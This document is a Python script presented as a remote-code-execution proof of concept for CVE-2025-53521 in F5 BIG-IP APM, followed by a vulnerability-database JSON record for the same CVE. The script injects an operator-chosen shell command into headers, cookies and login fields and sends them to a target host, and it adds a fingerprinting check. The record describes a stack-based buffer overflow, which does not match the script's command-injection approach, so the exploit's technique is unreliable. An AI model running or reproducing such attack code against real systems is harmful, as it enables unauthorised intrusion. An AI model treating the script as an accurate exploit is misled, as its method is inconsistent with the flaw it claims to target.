CVE-2025-53521

#!/usr/bin/env python3 # CVE-2025-53521 - F5 BIG-IP APM Remote Code Execution PoC # This PoC demonstrates sending malicious traffic to a BIG-IP APM virtual server # to trigger Remote Code Execution (RCE). # WARNING: Use only for authorized security testing and research purposes. import requests import sys import argparse from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit_rce(target_url, command, port=443): """ Send malicious traffic to F5 BIG-IP APM virtual server to trigger RCE. Args: target_url: Target BIG-IP hostname or IP address command: Command to execute on the target system port: Target port (default 443 for HTTPS) """ url = f"https://{target_url}:{port}/" # Craft malicious HTTP headers targeting APM access policy processing headers = { "User-Agent": "Mozilla/5.0 (compatible; F5-Exploit/1.0)", "Accept": "*/*", "Connection": "keep-alive", # Malicious payload embedded in headers to trigger APM vulnerability "X-Forwarded-For": f"127.0.0.1; {command}", "X-Real-IP": f"$( {command} )", "Authorization": f"Basic {command}", } # Malicious session cookie to exploit APM session handling cookies = { "BIGIP_APM_SESSION": f"'; {command}; #", "MRHSession": f"{command}", } # Malicious POST body with command injection payload data = { "username": f"admin'; {command}; #", "password": "password", "policy": f"default'; {command}; #", } try: print(f"[*] Sending malicious request to {url}") print(f"[*] Command to execute: {command}") # Send the exploit request response = requests.post( url, headers=headers, cookies=cookies, data=data, verify=False, timeout=10, allow_redirects=False ) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Headers: {dict(response.headers)}") print(f"[*] Response Body (first 500 chars): {response.text[:500]}") if response.status_code in [200, 302, 500]: print("[+] Request sent successfully") print("[+] Check target system for command execution") return True else: print("[-] Unexpected response") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_vulnerability(target_url, port=443): """ Check if the target BIG-IP APM is vulnerable to CVE-2025-53521. """ url = f"https://{target_url}:{port}/vdesk/lang_top.php" try: response = requests.get(url, verify=False, timeout=10) server_header = response.headers.get('Server', '') if 'BIG-IP' in server_header or 'F5' in server_header: print(f"[+] Detected F5 BIG-IP server: {server_header}") return True else: print(f"[-] Target does not appear to be F5 BIG-IP") return False except Exception as e: print(f"[-] Error checking target: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-53521 F5 BIG-IP APM RCE PoC') parser.add_argument('-t', '--target', required=True, help='Target BIG-IP hostname or IP') parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)') parser.add_argument('-p', '--port', type=int, default=443, help='Target port (default: 443)') parser.add_argument('--check', action='store_true', help='Only check if target is vulnerable') args = parser.parse_args() print("=" * 60) print("CVE-2025-53521 - F5 BIG-IP APM RCE Exploit") print("WARNING: For authorized testing only!") print("=" * 60) if args.check: check_vulnerability(args.target, args.port) else: exploit_rce(args.target, args.command, args.port)

{"cve": {"id": "CVE-2025-53521", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:48.377", "lastModified": "2026-04-02T19:00:01.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a BIG-IP APM access policy is configured on a virtual server, specific malicious traffic can lead to Remote Code Execution (RCE).  \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-03-27", "cisaActionDue": "2026-03-30", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "F5 BIG-IP Stack-Based Buffer Overflow Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "A7A0C1CA-EDEF-463F-B7C8-8B9E67239FC1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "6494E2A7-1473-46C0-97F8-90827D9466AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "96D35435-27A7-4A88-9432-1F5AB0112B8C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.5.0", "versionEndExcluding": "17.5.1.3", "matchCriteriaId": "252ED1A4-5F29-4440-B1BA-9621E6791812"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156741", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-53521", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}